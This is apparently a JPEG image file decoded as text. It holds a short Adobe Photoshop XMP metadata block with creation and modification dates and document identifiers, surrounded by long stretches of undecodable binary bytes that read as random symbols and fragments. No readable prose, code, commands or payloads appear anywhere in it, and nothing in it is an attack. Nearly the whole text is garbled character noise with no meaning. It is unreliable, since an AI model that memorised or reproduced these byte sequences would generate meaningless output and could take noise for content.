lΐ;�:ku�.��}�Hi��{WA����[�ё�4w|��V���׳z���v֏�Stk�Z�'��4g���>9�e㓋�GCx��E�X�wA�׷�kUw���dq��ݻ����/�-�A�7�?�T
pTO)��C����ҙ4����E/e��p�w潿N��E��V.am��S�t�����7z��3�_�Oe���P�
��o�'
yn�;fv��6�|N�V�×�8��Q6;v��q�Y1���DZ���Wc>��y����1;l�5���$j1��0���ԇ�۱������o�����E`_Eͯ,z˶��/ktk�k��%_C�"p��^?��d�<}����(��!��ɹ�d��x2��^�ꖆ9�:�D�Y�kw5RwK�0�{*��M��~ס}�'���Ɵ���3����┽9#��ɯ�}3v���X��>H��l`$��@�H?%Ϝ����ʛ�Ց�gB��F����=K~�b�}���bA����)�����9�+�9M<5���e�
#�I'�#�����>!�/Qw�<�5�hc4p��L��s��]���dV0Եg8��]��&�>%<��'�,��*Ff�@��;ks����q���C��HIӘ�:���8�,���?I�M�֤������Ά�Hy�p1���>%+YV|ǝ�����!���M)�S��T�Z�8��xk��?�����ȭ�U�\�Q!O����*�{��Q��k�75�jó'�t���-54�w�j+��/Y�1�o��S�תU��f^�TF��efu�����긞^����W��IY�X�}"CO묞<9A���qC�_��ҿ#���������~���?���+B�0T�ȸK��qр������>ël��%���x������Y[��*�E��M{�*��!(ٗ�
��"S:5���+T��ɾ��������V�7�fd@�7ϋ���-:�Ů}��^F;��)?Z(�F�gK�(5�ƒ�������I��@c�c���cj`|[��-
5�7?����/3�>���t�����@�V@��f���G�#���E��w2%͆���7�k`����}o�l]�zv'�H�h��N�ޝAۋ��߸����kSx�?
?�Y��0�{$ G��?���=�V5�0K�u�O�]Sj��q��|�5���W7av�Ѱ7��mj�)[Z^�n^2�̏�4��F֍����D'	�#l�ʈ)�X����ʒJ����QI�Cu�Aγ��I'j��I��}~�E$E��e�����
�^GW��q�5�
%$}Ζ����H2��*�6��A�����e�)���X)'~�����ï�\-����þ`�k�SI�ՃN�� �������KK��f$���8BIM!WAdobe PhotoshopAdobe Photoshop 20248BIM���http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="DBC9CEC8B7B32DD9A4AB9B6ECBD62F4A" xmpMM:InstanceID="xmp.iid:e83fd68f-0d6d-48fa-b286-c280d942f634" xmpMM:OriginalDocumentID="DBC9CEC8B7B32DD9A4AB9B6ECBD62F4A" dc:format="image/jpeg" photoshop:ColorMode="3" xmp:CreateDate="2022-12-01T17:59:52+05:30" xmp:MetadataDate="2023-11-13T21:47:13+05:30" xmp:ModifyDate="2023-11-13T21:47:13+05:30"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:e83fd68f-0d6d-48fa-b286-c280d942f634" stEvt:when="2023-11-13T21:47:13+05:30" stEvt:softwareAgent="Adobe Photoshop 25.1 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��!Adobed����
����"���! 0@1P"A2#`B3!1AQaq"2��� 0@�BRbr����#PѢ��3�Cs�`�Sc��ó�$����4!1"AQ2B 0@aq��Rbr��P����#�3Sc`p�C��s����������� �	A��` �1` 2Dܢb��Ap�	3
��L���H�	@�	Xx��� "`
D��YX���fmf�fm�,�s4�����R���3"��I���a�I�
 X��&j�i�M�7�3�'L�͙7ja;͜Ζ�3�s��y��8F�gڬ�]��Q�LQh�J"bDĢbD�$ &$!�`QA5�D��f�VֵR׾��[퍺4ۖݚt�3��O1�ٟ���ȏW=c˯���ɎJ�����q�Ԙ�/V,ŬZ%��R�$$�@@�� Ģbm����'KZ-�޷�׮�-���-��gMs������������ˎ����#���|~?[����c�}q�g��Lpӧ�Ʒ��D�,؉���,�D���&$	���@�D�	3Y�Z�W�[V���r����׋�����>=�a��Ro���~��7��|l��O����~��!�L}�|Nl�ݿ>�ѩ��r���%~��Ǽ�G.�q×�V<��g��l�J�JJ%LH��� D@
:�Ã���;��=p�s�"��n	�ކ}�m:-�:u[���<M���Y�Q��G$3�^x�ڸĚ�(�Ҵ��V�%������	��k|��R�II��1 �Q  *��� %`�ׯ/'O.�aY�|���ԡV��k5e:j�f�U��h�f��6��k�i��P���S3)�Q)3YID��e/l�/U���Ą��`	C�ea����9����>W�hN���'5��$�7�_?��LJ>�7Nx[E�Ɏ�:r�6B�D��*��\Qe�R�"b�d�M��Zk)3�%-4�-Q1$����&Lx���޶�?���a��LR']�zo�M"н	��:�kM�T�m�Yk[�n��F]yكs8_K�s[{�=��r��T��̗5�j�k�9��;����ad�e-5���Y��� �� �,{^7��7�1�pN�bgIk��#-5����Z��������q掖��;+6�X6��Z�U���Kd��$�f�5�㎵�U��W��<�JκCXW��iq�&k)3��K@�%�?�P}�'o���q�җ��nK�=�y���ܗ��z�_;:q�R�:V�Y��-�`����r]/�I{�|��ǟ1ݖ-�8�ڢyzucqG$�L�k4Ro*Ӡ���ʰ�jιR���0���fM�k��(@y>��L��oO������؆}@&Z���k�t��a��hjխ'I����c�cϯ�˃=,�m&!d�JZh7��G��NQ͝����~?^|�sߧ
=���<���{�u䎌gh^���na	H@,����*<�T(��^w�u�:�<�JQ.�h����:F�1�ƒ�f�ml���ќ�����)"�+j�$
,�͋	UV����D�K߇����#׎��|�އ="4��Ϧ�˹:��5�W%�qUbQ�%A%P��'Ԕ	@�M%������^�����gծ����l����X����Z��/����|�y��E�k�5� ����]J`L)		�?G�g7�������B��[Η��F�|�Oc��=3���bJ&�	��Q�`1��pBn}/:u����w�[�\����L]s��'��F�ڵ鈵����S�>^�x�x�-LکA5U�UV�Zh���/�y�˪����i�<��ݞK�tG���_ʯo�:��y���Ҷt�<��V��M�1@��+��f�~o�����L9�f�����r�^�O�����|ν�����uu�^9�jV{y�D�<Y����w�q���x]���z{/����ޞW�{���z㞼S�w�k�u��=>��^��jg��3���Μ����~}���iVYD�����/�$L��!H+_���׹�z�g��|�I1��ӝ�6ےlz�׎���<W��)ϣ7i.��z�Ӵ�`�N{oj��[5��_;���{���ݺc|��D�b����)�N?g��r���J���5ofM%ULK+N��AӅ��a�RI@�Py���P4��ֽL1���-}�����&w���-�g{�����:��������];7��ǡ��-w_�ў�<����x�_b�V3����׹#S���=��*���^����y��:/�aK4ce�Kz�&3M����h�KT��m{`��D�	X<���$�zӫ�9{f�������?{��l?M����D[ke.w�!Ϧ9���&�Vf��ɮ���i�Y�z��conK�j��)�zgVq1%�R[D���36�S��fͭ�D��B�i�]j3�B&��1�^"��bazJ�o\��ť�6N�g0Ul#Jh����6����5�)E��-�1��8�ff�dZ$ J	(�R�d$ޒ�1��	�J&`	D�������9�F��-,Vo:g:
�9=����8�}L1ϫ���z�-�٫^M=�Ξ�<��⎚Θ�Y�	J�1"UaU�I�e���$BL%R�bJ%�"Sr��q����	��@�Z��}[ƻt�5����s�;h���f�^��z[��N�|�zq�y;wpgZ�N;=-<����Of�D����^�Ӗ3�jf�K+-�Б��h����k϶=\w�ܺg���]+ij���_L�̈
LJ ̎�@�%&վ��[�}�ߥ���=p��}N8��O�|���oo��ˋ.�8LeL/�X�!�s��"f�ǢQ7DI(V�a���ɮ{&dF�_��۝]�|�B޹�\�e�Z����o-�1j�Ʃh�y��%@�$�H�=@bKZ��e}6ߛ]���}��~������y��<^��������<|�^\y��1�(�"�ɝ�6Ѣ�ڌ��&�ɪ2k�A�Bf�L�X�wծ[��^��m�'-��q��h��(J��B P�����I�&�-����S�NYӺ�3��NX���Z�(��Nu�g͗OF�;��5���������i�v������}󏁏��_����]>>>���)_������k��?j��y���ή����v�V5���1 ��H"a#��`0-4���Y��g%��V��EⰶR$�r�[a6�_��vi�m_Ko"���O��[�ί��qo����S����|���s�����s�x��j�ޑ(%L	D��@�	&&$���>�@�0&(%���-&HYY���M�1�⭧o<�0FK4�B^ J�$�Ā�I�H@��U#������s�0�s�1:\å�:\��s������8�s���n�[����V��:�݁7�q��:·8�s���:\å̮��'S�u�[���1����;\I;\C��;�#��?���o0`��?�H���DQ8����q8�������@U�b���A��CF>�tB#��Vl��lv͊٢;2D7�Gz�~�29��CG�(Yb���q���)F'��~����/_H�(�'�	#��͈�#���QlI
QG����!LVFyY�g��s9��3��-��o�&L�2r9�G#��ɟ�K/
m�rd�E���7�ɟ��|26��#'s>�L��*�y<�������g�|p`�g�*����pb�R;tɆc�s��d� �,|0c�ӪXs�%����H��QNg&̙����;��̵�?��jiŧ�|j�c�ܟL|q�QRXʪM��]M4�к���&�_L}/���H���g�5؋h�q0���K�3ӹ�;�27�c#�D�"�&�
����e�uLSb�Y��,i�����g��*��T��8H���l�9������	��ӏbQ�.��șɜ��f"���#��܇p���LC�d�X�F~O��O�i��J./���<h�Vx��B�]2g�I�m9�Q�ɩ׏�L���2dK���FN#���3�;2g�$7���	0E'[�9C���*��<SG	L0`����]��"��M�#N���)�ȵ|�;<��#���za�7����s:~�DD�u=���j3r��Gt)�'cq�jb�V��q���\'$�e��}1�o�.�L��5�7^�`7J#M���a�f���9g~��dLR��r2rg#��DP��CQC��+*g�g�P���lP��)}�D̙2dɓ"��+h�b����
1FP��dɓ?<�2d�r93�2g����Wьc��c�����1�cf~�X��4�1�fL��ʴJ�;f�$�4Ʋ:�Ss_�Y}5���*�����S\$�g���m�!�G��9Rƪc�q��l�[�ݬ�[��i�Vdɓ&L��cCF
��g��r��b��P�랙3�&G�����dk��ێ�k�?�9��;ds�8͐��V̮�0`�F�X��������	|�L���vG��C�9�SyRg&sb�NH�f����8�EJ��$6����9�9�c%�
6�%�w̘�#�i�LV)ōd_���&��cB�,������K�#���#�8����LuI���84fH��HM1�O�P�Ka]OFI���ɉH�i>,���y8�$��e�2e�2�C�%ZD�K�I)12/#CVڬӶ��l�)r��RID�úm�q��0�1��0q0q1��[��FdӊD"�*�}��}>̳NuN�����Xr|!�hE�Ս�Z��=X�=��'ܲ#���M�1�VU��J-KR6'2�+�/_b���E8MF?�
%.�T��[u����ɟ���,�?��rCyc]��7�*ꍟݨ��J.?Si������=:�:v F����9��2�	�Tщ��fI~�O؃<�<�<���7�	�K��#rO��=�A>Rq��3%�c(�k֒i�����I&J�$��CՂkZȎ(�^ǯy��<B��#�����-d�UH�%\�p�=���)$��6%�_�J]��(��G]��&04��$9`m5���Չ�>QI͡L
Ǘ~����U�4Obn<�ݥ��m%�#	��})���J�NP�<��c�dWf��H\N�9$sFy
�4��)��6(��O���10�I�	�RBx%(�'��N"m��08D����!�M���}!�˓�I��|/��W�����M�
���r�+�g83�0q8�N&�=��6>��2JK�?,T�ۭ�uNwe]uz������q�Z�u�II��!jM��%4dR�s�@�g�^H�IA5��&�Ĕܾ�x#d$Y\b�R�$�!�ԩ��4%:*u%�&K�%l�/?����/50�em|�Q��g3���d��]��kzm��Ș}S��ɓ&Y��a�8�5ND4.c֦�W�@�b�}��Dv-��M��vcJG�� ~�0B��-X�i&/_G�VG��PӨ��S��,o��)�+��|�|E�-؟�"��9o]"S��d�L}��/����|�/�L�2d�L�2g�L�럎L��dɞ���2dɓ&L�2dɓ&�_�f0�3}��0`���q8�8�N'���q8�0`�����8�N'���p8���q8N'���q0`��0`��D�(�E@P83�x��<g��1�p�qG��}�^N"��(
�U��TxEK<��:�c�u���pG�hh��}�~�						
"��(
k#I�XZ�Z��6=6=F�j�ZĨ%I*�VJ�8�#CC_�!B"�����%z�+�L�A2��@~��^���`�G��'I(�8��$ICC_Q�!B�"$S+�l�V�z����U��p�F+�*��g�ՙ?E�2�4H��VE���h��o�D���Cj$��D�4I��FD!1d�[!Sez���
oE|�=, W���=�x���~�z��k��A�z�{��~�M�:Q��C�c����ެ_�ޤ_�~���}l�{_ad}u���BeޗM�z:K=$�g���,�*����_�dȘ�\'7G�ݰ�ҕz�:�/��R�c���rD��dK���#|��h�,䅷!n3�d=�=�Ki��d�%q+G`�9�C�<�!nl�^�~"����l���/�!�hXJs%��z�Dqh����S��qWQ�m*��0'�ne��j��9
b����V����;<���ǰ�{ôv��s�!�r2dɓ"�Dv.��-��C��c��u��^���m֨����p'�l�l�r9�G!H�r�g��C�y!�<���g1�s�Cc����ٓ?5&�k1	
	��vn8z�B�a}�(�-�J�K�L�2r9�G#���s9��g3���r9�G#&L�2d��B�G(�q�[��l
��^lo�l	�9����L�2d���r9cl�r9�G#��ɓ��?b�)4eHq����߭UYt���ӆߴ�瑱9ղDtQ-z�D�H�1T*�CD�L�&L�����.�CI��ɓ&~����s��_WM��O�F�Ȇ��^�!���($8�uŖ�J����jmI8��dp��g`��&ا��/��Ӟݛ[4��'d�Ќ%"����(QH]�1H���%�U�U�u@{T��!�ZKb�R���p8�G��lQ�?��B�j����pC��_Y?����k�z�K���>j-���D_�dGl+V%t��"vŏ�Ş96*�M-��x��'O)�C<,�#T���N'x�2FdVq�RÀ�k��_m�u���6|���[#Y�[Z��9HUNC��ĕ��s��|"�'�'�
/Pꏏ�IB<x#�b(�	!�(�x����c��pc��P���J��84c�/�IɥmyI�_�C$+HP8
8����">8��K���pR8������%%$�԰�6�+�Gg��r9�)�����O�ͬ]G:�n�:["�E��q;��g�#�����-�`��3�d&��ژ���"m��a���R�Dd�+$�Iy96I`�yGk�yL�����סiP���-]��p�}{!���]��f�1u���#��9N�꒵�ؒ�<ձͳ���0c��pL�Gē��L�x����5f���f��8B��&rde"6�#kg�Dnsc�94����Q+%�Yp�ذZ��|��~]�FVGk����C��夏����{�H������1�ќ�xr�{t	��[���='��$�	)�+X�)�sr|[81�,�Zl��O]�q����E�_o�z��ܡ�����pLB�EE!�(m���rm�g!\emS�ҩK��*ͻm9���G)�r��G)�s���V��.���:���Z�{:�[�l�o��b�h����4�E:�N69FQ<��V��i�B]_�d�������q�4")	#�����Y&�U.b�5��v��W��,�zR�^��Jj�Kc~���^ƃV1N,R�I`VI�F4�(�5�p�_��&�ӌE��?�T�~�}m��={חø�\DE`K�
,�Q�+)2�Ԝ��U�շ��������Ml�GJzS��o\�6��л�%	A�<d�K %�C�N:cfL�|�2g�vN��oջ_��r��]�r�9"�q"�����Ĥ�6܄�J�8W(�ָÈ�a�g����?�q,�;�����������%�쩆ﮋ"�/�����&Ӄ��=n�M�N�U-Y�N�B}�垹����-q
�O	�u�~X����JOx	4����/�/�eM�����H�a��F�7���3�$7���h���-:o�i��A`Q0�Kl�"���hI5S���������'3�fL�,�ɟ��i�;�E=g
�S}1]�Q���6�$1��J9�I"������B��<��e�dq����IJ<
����G,�H]�P�������^��ۮ��m�}4�(�E�=��21~8�&CW��Q�����v�Nɱ	A���a�m=Oo���o��͊�R���-���,qHK)����8�
*䭩�.�i�sgy2���mg=�'���e4.-���2B����uJ�|��F���{7F,U�*X��#�&CY�iYj�����:i/�rvϔԞe��N��X_i�O���uQ�g��ڥ��il�z�槫�QX������f28����de^�#=|�y#&��rb�8��q��F�qC�0��3�?��t�>��^�
�%)���ITF����w�EzXt��'MqVl�wټٳ+�ad�n��Ĕ���
��t�?[k��x�Q%,�}�B}�l��%�+�֢�Z��U�#�E�p�h�4�c��n
�q��3%�l(��r���s��e�̳��ȯZ�
�6ݥ~�0u׭�C[cm�O^�m{(9�d��m�^H�^EZ!��GV��:�[�&m�D�R�����X�)5ܚ�	��Z�M�����׿�uֶR�T�5�<8�"o0�hY޽ˈo��j�x��KRl�Y"ʭ���$gb1Y��
'l���*��?�������^��>�\���+�ѩ��wH�k�oz��?c��G^�(��X��SԢVQY�˔�;R6=�u��m+�<���bSȲۓ���8MV[������ַj�����(O�cX����3�'�,O	[��SIl�$w�?f��3�������E�қ?Ka/�<b:�JY�kɑ�n_���dt�#�P��!\�5�"Z�XG�i�:zQ#
X����p�9��nh���p����+g�Nn��Yqݶ�R�f�������	��8Iq��Ee�q*�~�owF�ꬄ�U,
�%�!^б#�Tg�6�J��9�IH�(����UF1Ԯr�R-����{��[B�lU튽�W�*�X��#N�}�GZ�j�:�ʢ���&�DvU�E����،�Ҹ+��J~�v+/RnƉ7ˊ�s3������6��'&R�+����'ިCkSGz�)lkk{
�un՟T�y��Eċi)�dT�����U��KbO:e7xۛ+���skmP�儮�`��"��YY6�yb�"-�'�4��̶ꄿ���d}�ns݌�!�V%��{��P�f�
y9�M�)�sL�[��N)I妓#'
�Iآ6�M%���^��?��#Ke��lQ5)����v���s�YO��D�$�$�iF��>E��y'!J)�W.���V��툧Wu0��W���yl<���Ķ��?bG��+-�Eۉ����ԑ-�dyy;6c+�9]s��9	�����-�����-�F
w
-�KdC��Ӣ���M]�ƍ�j�ؗ�ScO�Wa��h�.��,?�_��rM�TT�).M�R�S#	b79/��&�(IC�9DV$W)NKbg�Lwɞc�;"yb�x�g�9����1I�bR&�qG6)O-'����
g"��INSѬU9w�R��}��L�3�O��N�=�|7
_c~���um�[�4̲,k)���H�)
*�+%'�e{�I��8Mff5�fY����6�ʥ���'c�)���LQFbrq0آ3��a&2VF
wJ]gڻ'�]j�#d�K� ����i���v����ya��(��3E@���g33C�L�̉y#��������������[����2���P�铳3�}2������<�d���b�䲺`��1m��O�����d%A��&`�МY�X0����cϓ̙+��q�5�h�b<�a���3&zdFLHQȒFO�ȇ!���m%\%''�ЖID��N'�P{���ѫnϮ��8�p��.�0�
q���̳��ڈ�l�
L�3��9�؏"<����l��l��&rgs�#�1�t�M�����$g��m�
��nO��b
H�0`QN'�L�V��Fׯد�}7�����1Ѳݽ�-�w]�TW�"G�S"Z�;H��KCU�z���!����vr����ݗ	�1�?�ۣL�a�.�24<�d��#ɝ�)	�b�҅Jss�HB�A��
"��p<g��ѥ�g�G��@����to�`׮�-v�U[)�mn3�㹵>��/g-�ykY���165!vx�bJ�dKR�OJ,zsC�q?V�<�&F�B�̲�Q]5�O�?�B_U)��''��B+��S<R��Y'���J�U�����v�sOsK־z9��{��N�]���ߡ�<����qJH�X�5���]sn�[�X�S2��4*-�qy#�R��f�|v��Sda+��~�S8WQeҗ�!BDQS�].��!�4�����%n�E��	D�$��/��j�mm����~�1��j>�af�����w2�L�r2�H�w[�LjՅvOb��V�a%������o�^x[����c&J�u��Jrm��E�@�
�g����6�ݡDH����iNQ4��tkԢ�=j��t�ϱ֍6Z�<$1�}��_�&L�F�������nPt�YGn�MQ�]ulZ��naI�K�9əFL���Q#[$(�8h�!�J6�!ɳ?x�! �2�`ֵ'뽌"��D՛t�l���oj��l��S�$Hc����v2����,�;��0q0q56*�F�̇�ؐ���,�֭ں�&L�����Ȍ�Y���U��b�?e&��l~�۴Y���tL��ډ��#�uHph�pg��<l�3���g��3��<G����83���pb���CVɕ�ۘ�}qM��K=���zْ�����(LLLLR#1Z�݁^��c������E6��_>�g���x�,?B����އ��G�MVg��Z�Zr��ё�?BCё�R?NCӑ����Ր�����b�[���������L	��]��ʹ�lM�m�3�����)
b��y!�s�3���r9�D6��_�ډ_����dw�$B�Z!��"�Y��TH���I���?UZ%�jC��!�R��RPC��c�;*�o��%���Y�9������92d�r9�g3��r�G#��R�!LV���#����D���%~�H����?�'���~ҹ�TǹS%�[�	_[U"��[��}��Y��+rJy���}G�rd��ɓ����ɓ&L�2d�)�b���W
�-�-�-�-�-�vG�H���Ǿ�oI�ܓ%��+���c��?f��&L�2dɓ&L��dɓ'#���sg��FyY�g��S�;��g��Fsg#&L����2g��2dɓ&L�����?�KUUW�!I�J��sS�SwHR{T�<>C$����u����S%L��U�*E�N*OUL)��fcȩ������xʟ� �9O�P�>�'���[�R��r�hiGz��<�4�R;�—�J���:��d�fP;�s�Z����uN�Pa�)ղ�wJ��7f.�G��G��I�}�N������W�8ڤc��Ӭ�^g��E��mo�Je���X{��)�q9�)�$Z`�6��3�S��ygo-�"
�B�T�3�Ҧ�7�"�%��v����TR.�O3rQQSqE5-�w��=�e��
C|�;�B�5����Ahu�[y�xo.�"���4w��@4ն�+`D��a�R0R+1T*�S�@o���DD�N�A9�1a�H:�	�Y���TZ�UHz�QK$P�O��D�Y�P-���$Dd��5s�@���i�(�9!�b
��T�r��*���ZޥP��T��Y���<�R�5L��Z}6���J��O��?�`�]
�&2J
�T�p��b3��*��?�ώ�_k��2�<1��-�诿��\�VuEEE��
��r�o��N�5H�c� ]��1<-W0�-�Æ�=�o�-�a�j8�s��s	�酧y����x`��7������g��~��*�@`��Ĥ=^��ԕr?o���c�{*�CG���ouS�W���D�^���M�~��J@
��dd��_誄��Y��x#p������6��[�-*�Uم�D�"zLU2Sֳ���ЫҤ~?*��rue�e�IJ^_�J|�J��{*�RZ}y$�������5OĦ:E��ɧ�[l߂m�i�������"f�T]���
�*t���kL�5H��MLEDQVj�
9�Dp��-}��7���m[{�I4�nP&
W�PA�����f߹��ڀ�2EqUY&aLxJ�4�(�C}��8�hl;k�[���#3k�}�#3�G���Ħ�=�[�f�a2�A��3Y�����B�ҢްW�Ƕ��
�#�3������ma���U���x���G�C��t{�~$C|f,��ʈU�ٱ��%�@m{_���+8��͇���RU�T�L*�e�"';���mM�z�f�� �����-�[���;U��ա䂌"�����e]�����0�x�oȦ]�z��sUװ�\��
�
��~��J�����I;����ÚYUJ*b<�~%�;���*���r����U� 5��J/q�Qn��b�<�y�X9��ۃ�����]����q?N�˔D�j-SS
���F�E�t�r=]��i����֩����F�|�2���|*�~e�΅<@9����um?ڵ�3�O�j��j���cZ�K�$r@d;w����1��nս_��v��ťi�����]
jS
bDZ�9�Ljl�Pp<�Q@E͵�kEB��[�
��S%j�y&c7i�����U�R
',ԥ���P:A�����:�:���|϶u�u6U�A���V���R>%=��hd�U��QfR��	TS��)��(���N��ɐDR�/‡i��(k��{Y"Hh�Q�E"�T �R
���fZV�L��-�N����"7$|�Pp�Է�i9���>K�{��[
.
n���<H��W�k����Ps<%L���O�Y��)�n+�9t�dѝYl��E�
yqZߦq�s�޻oZ���>���/:����&��G1��km&a��#C�ڼ��3��j":�-�T��:��B�([
!��/������� �Y����P;�ר���P��u���y@:�i�e�4�{VI��#���!֎Z������M��[+=�.�s�0�4�D"��a��^9�]����{̠�a�n{6u�J$��>�p��;&��#��i*%�{�W��ow�9C�;��m�@�
�2�8L�y�+����l��"�㖶.y���w��5K�kȦ���Z�k�����R��[����3��ϕj��j���U��*g����?��ҝ�?�tTTTTTTTT���L��J
��ع&�&*�`�ئIR췚
�H�T��*ݺ�v�y��F
�!S��SaSaSi�O��퀡�+}Ð*Gj�[̧q��.5�\aq���M��*��x\ʮ�Ss����/�n���~e�mp�; ��E�AØ��Q����SꊟJA�.:���K�ͼ���kq�Cp��m�g���tv���+u��޺�x)��ĸ��*�������������[�\9J��r��з��r-�p�V�O(L��p8;b�O���4����/�-��˲n���	e���Y�u�([�R�ySq=�������"B���5��T��G�?-����+Z�䶿���լ��1-��%!���&EA�*R+OЁ�|6xί��?�tf���6�2�����\bt�	*�!9)�~;��|%�o�R>�p3�o�w���ݢݶ�8��8f< �-���e�۷H�D}�� �%5%%?�e�Pf���X1\u��.�E���3�5L��EN�A@�}�+1����)���m�o���Bզ�d|��q��=�$���{	vs!F<�O��I[��
B
}�x�p�5��X�UUU5��<ꧾ���46nt��$`��E",=�C�_C6վ'l�X9^��]�b�WW���>ѣj����T�*-�Ԥ�R��
��i�`}z�
�
�
��L��;ʝ
����&�i(1�pSI>;����S�٩���x��
��Q�F�>�Ю�.�7Y�}���Z��/W��JSڠ%�*)��n�3���&��jR��O*��6�ǐ�I�A�y�&���5�B1h���-p��Bh#�g�@�Z<e�XIS�k�J���I�%!�Q@�gI��Y�مDi@�����x6Y�^�ē�����
Rْy ޅ�����S��H�3v)��Z�U`u3����$;�S�a1�!
j����@Qq$�TI�P�rH��z=�(��}ՙ��Żf�9=�!���f9b$V�"�-T>�w�����x���iɽ=�GJ��T'���i4Y�y��0��S1P�F�Xj5Y�B���S'b�]�EJ����۷��{�3cDZ�ێ���
tp�;�1���Q��C[OYp����m���0'<<8�4�N�m��l�d�!��ag���kH
�����{�V7�V0��[/,�o&h��1ͨ �*EULг�)�$3hS�=ՈA��ѷ�����/+�KN&�"��ov�y�^�y��
�:��SR�USɤ��=��P4ZȆ���&AB0�t.K��T.]/p�X#��Pe��S���6|[��5�5���9�w�h:�X`�{�a�[�+���؏:�Č-�|aW��.�o�.w}n�{Њ��#�a~U��0������S���o��~�s����=O���˂>�,(�r�Nf�}��57s��Z�c��s���soX��o:d�|���6��oܻb������2����A�`������m=��k�NH�U#UV��3S1S�ոqio�+�:
(t)H�P�Tb�}���C�Q
ç�mݮ&��F���Y��|Ӽ�Ѥ���M'�MhR!L�(
y �����D~ҍ�m?��/U��qD�Eq\�g�-�"�����y��Wcl�$D���=��L�UE�-UUUUUUrF��l�$���Yo�[�ۍ����D���2��v��v�w�/U8����bg�P�vY�m	��.i�7�;�"˿t�?���>�G�ۿ�Q�y����MH�:3-����Ǚo>P���(8bi�tzRr}kz$iS�+AP=�z��rl�������hLig��3TT�H~�9Ԧ���84�(��<���9�NX��n�y�
���o_�{�@��ǒ34HG��u{��;j��[C��z�^�o[�#���s}�'��q�:�w<���x��K���ΰDm�w_�oS����nures;|��sSo2�2ͩE�U�`S1�!*u��ʦ; N��	I��d|�%D��"(V����<a� ��ߴ>K���	���rk�(�T��5�Ѐ�&��f�[��P�Z���q�"�Vwm	%��w8����r���o|��v>�i�S�����v;�.ff?a\���}�6N4�h����"m��ƴ�3���So*���B-p�a��Qi�P5O��ڀx�ӻn�����峅�!o]�l���g�����qR��
T̪��(�
AL�ATs��!3�9��Pi��h���[�o]:�l�Q��G��]�]�2�G��W�p�m�>6~U�aX����.`y�[.k��38~-��m�������G���1\}	�i�7I:�~‹�p���5 f�y�ɸ�-��<�n?�N��&Ӵ*=��Z��P���C_As�w��#w����g�|�\ik�ZdQ<��#�&JS(
Q��5T@���t+C4b�P�@�v���N�>Š$H(��M
�r5���K���]�E�ױ�"p�8{� �U:-F�8DyA�m[�4�uam��wڱ�f%Q��K���q����q������-x�7����f2{|�]k�یe�<�(gS��Q�w��X��MMI
H<U�<���nGZ2;r�9k�Ġa��蜓Z�`�v�'����M����``u��9�j�����]�~/X�`7߼��m��_�����Q�U��u���2�r�J�b?uE���M�D��9��`E����X��A�Ɖ�~+t	;�E����@��݁n�md��Ѝ+�?��;AF��,�PP�Fc��ʜ��Z�ꪳ�f�ҡ���h��
�Z�2�Eΐ:�o���Ea����7�޶_}��\у�\<o��u���W��z��*��,a�-�2�h;B0R@�&��n�
��vmAC�LJݒ%W2-|��;7V&SGa��/X��o�a�jDTe�XFuOJ�q�3�� ���|��q�W�#AM���&
-�E�Q�y3�E���L)(���"���f9ڠ��~0��X��@��9H�
��Cj��"�T%p��
���d�Dĕ9�}��mW����N��>��)r��-����+(��o���a�k����sѽz����7����������
o@�KR��?Z��`U2D�iE�*�\����碎|��)�&��bmT�J'�m�< ��i�r�a��^�(�ْ%jɋO$4(�qi���!�*[����j�i��(8jPsH�ˈS8�'1ұ0�v�ub��e=6(=�����|��>+�\"�53֧!̫�Z��R��U*�-UJ�ԙs�(��Кz�Q�W�a�2g�]_�/��z.�ޢ�����`�gYA�ԯ����h�hy�]�2��:���ڍ��o������:��'�R��*M�"�a�oP�3(��Ҫ5"�F�an��{�$4V9�B�%Ρ��}'�˨�,Aa@w3��鹃	9���|��W8��1���t5]��R��0!I��hT.40[́���@��2��� N�aM�@�P�Ҧ�v��byϝqD��P�N
2�^��sM"Ңmt��wuxm�"�x8AJ�*��}%Vz�o�=%�~�}%�֙��׮D�aa>�SH��o\ki�br���洓��P��X9�F��J7o2֦��u��&��G�C���n|�&���s�C�O��m �ALʷ�CP�Jq#�о[#�L��U�Ԫ��9V�-f��lT#���fR��J�I�?u����1��9{���QQ�xMM�h��,v�
��c�4����4�.�RZ�D���K������z��X�b��}�Xj̢]�i�Է\]�QL4��_6�h���`�UH�
��)\��Pc���"T$yB��������r��:8��Z�TA�h�	cg�fP%��Q����77����2kD��jn��ư���~A~}�F~���WW��g��ljo�W��N#D@�J��?��	w:ݵ���P4^�9TŮ���t-��`V':Z3��6�"֘�J�p��G9̧M4(��Pl�w{���9"���4w00���`��g���\11��څ�D|HE����wZ�ȃ�B�B.��=�����7F��Nz֑�A�y�[���oyM���@{uO��5�6 ���)��J�&By��)�eam�.��¢	��?`�\�Ҥ����U{�?B��
��P�,��ž�W)��2J�DKQCg�Jh+y�R'Z����Q�P�-Kwwa�s"k�H��͂�-���0Q�8�
�!�IE�@��<n�&Aw���F��厕�08E�Ӛp�'��n ˀ�/�t�Kh<7.���]�p�w��D���xž�T�hEB�Ҽa�A�AQ�H�bt�W�߷�#��9�R(!
�D��*
